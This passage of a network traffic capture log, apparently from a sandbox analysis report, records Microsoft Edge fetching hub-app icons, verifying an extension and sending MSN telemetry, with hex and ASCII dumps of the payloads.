2024-11-25 11:08:51 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49801	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:50 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:51 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 46e4016d-801e-0076-1bdb-3eecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110851Z-178bfbc474b7cbwqhC1NYC8z4n0000000790000000005gnr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:08:51 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49800	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:50 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:51 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: ff3df75d-201e-001d-4fe3-3eb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110851Z-178bfbc474bwlrhlhC1NYCy3kg000000078g00000000d7g5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:51 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49799	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:50 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:51 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110851Z-174c587ffdfn4nhwhC1TEB2nbc00000006000000000030yp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:51 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49803	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:51 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 844932cf-a01e-0061-17e3-3e2cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110851Z-178bfbc474bpnd5vhC1NYC4vr400000007fg000000000eug Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:08:51 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49804	204.79.197.239	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:51 UTC	608	OUT	GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=+3XNT+gxoElKTS96nBL3E6&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.47&lang=en-GB&acceptformat=crx3,puff HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Scenario: Update Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 11:08:51 UTC	336	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate Transfer-Encoding: chunked Content-Type: text/plain; charset=utf-8 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A50679201706463C8CF6D3B69B8F8AC7 Ref B: EWR30EDGE1120 Ref C: 2024-11-25T11:08:51Z Date: Mon, 25 Nov 2024 11:08:50 GMT Connection: close
2024-11-25 11:08:51 UTC	48	IN	Data Raw: 32 61 0d 0a 4c 6f 67 67 69 6e 67 20 72 65 6c 69 61 62 69 6c 69 74 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 73 75 63 63 65 73 73 66 75 6c 0d 0a Data Ascii: 2aLogging reliability information successful
2024-11-25 11:08:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49805	204.79.197.239	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:51 UTC	459	OUT	POST /extensioninstallverifier/v1.1/installverify HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Content-Length: 119 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:51 UTC	119	OUT	Data Raw: 7b 22 68 61 73 68 22 3a 22 2b 4a 4f 66 43 41 74 55 66 62 4a 68 6b 56 77 5a 70 73 71 67 52 56 47 36 6a 67 76 70 73 5a 2f 56 72 6c 51 39 77 4a 37 39 48 58 38 3d 22 2c 22 69 64 73 22 3a 5b 22 6a 6d 6a 66 6c 67 6a 70 63 70 65 70 65 61 66 6d 6d 67 64 70 66 6b 6f 67 6b 67 68 63 70 69 68 61 22 5d 2c 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 31 7d Data Ascii: {"hash":"+JOfCAtUfbJhkVwZpsqgRVG6jgvpsZ/VrlQ9wJ79HX8=","ids":["jmjflgjpcpepeafmmgdpfkogkghcpiha"],"protocol_version":1}
2024-11-25 11:08:52 UTC	335	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 420 Content-Type: application/json; charset=utf-8 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F4B0BA44ABFE4A8093DA5DCAAC35C126 Ref B: EWR30EDGE1414 Ref C: 2024-11-25T11:08:51Z Date: Mon, 25 Nov 2024 11:08:51 GMT Connection: close
2024-11-25 11:08:52 UTC	420	IN	Data Raw: 7b 22 73 69 67 6e 61 74 75 72 65 22 3a 22 71 2f 4e 70 4f 73 6b 78 70 71 39 34 63 6d 6d 48 77 59 43 2b 50 66 51 78 75 38 4c 51 45 4a 6f 38 35 30 6a 6c 47 4a 42 2f 74 53 37 6c 2b 73 5a 70 2f 49 7a 63 53 64 31 53 4a 4e 75 6a 47 2b 2b 37 35 32 62 4a 44 56 6b 73 79 6f 74 76 48 74 31 6d 71 7a 36 32 58 31 67 57 43 35 68 6a 31 73 4c 6c 65 42 36 41 74 38 53 31 48 6d 38 66 67 62 2f 53 35 6f 67 50 31 62 53 69 6f 6c 6c 73 61 74 61 4c 69 42 6a 38 55 58 51 65 68 59 43 66 45 58 54 75 78 2f 6a 57 67 36 34 71 58 46 5a 46 64 38 33 71 71 43 59 6f 6e 47 6c 63 6a 76 77 38 68 75 67 57 58 45 64 57 39 57 6f 2b 36 71 69 49 33 72 62 7a 4b 54 39 4d 49 55 4f 56 76 58 51 7a 6c 62 4f 30 66 6a 36 76 69 2b 76 58 38 47 75 69 4e 5a 69 69 77 58 59 2f 39 38 74 4f 6c 76 69 52 6c 56 4d 6c 62 Data Ascii: {"signature":"q/NpOskxpq94cmmHwYC+PfQxu8LQEJo850jlGJB/tS7l+sZp/IzcSd1SJNujG++752bJDVksyotvHt1mqz62X1gWC5hj1sLleB6At8S1Hm8fgb/S5ogP1bSiollsataLiBj8UXQehYCfEXTux/jWg64qXFZFd83qqCYonGlcjvw8hugWXEdW9Wo+6qiI3rbzKT9MIUOVvXQzlbO0fj6vi+vX8GuiNZiiwXY/98tOlviRlVMlb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49791	23.209.72.33	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:52 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1
2024-11-25 11:08:52 UTC	1002	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Mon, 25 Nov 2024 11:08:52 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.144,b=727847349,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.144 Akamai-Request-ID: 2b6211b5 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9004d217.1732532932.2b6211b5 Vary: Origin
2024-11-25 11:08:52 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49807	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:52 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:53 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:53 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110853Z-174c587ffdfb5q56hC1TEB04kg00000005p000000000mr4t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:53 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49806	13.107.246.40	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:52 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:53 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:53 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: ed62951d-801e-0076-63f5-3eecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110853Z-15b8b599d88tmlzshC1TEB4xpn00000005s0000000008rcw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:08:53 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49790	20.110.205.119	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:54 UTC	1175	OUT	GET /c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; 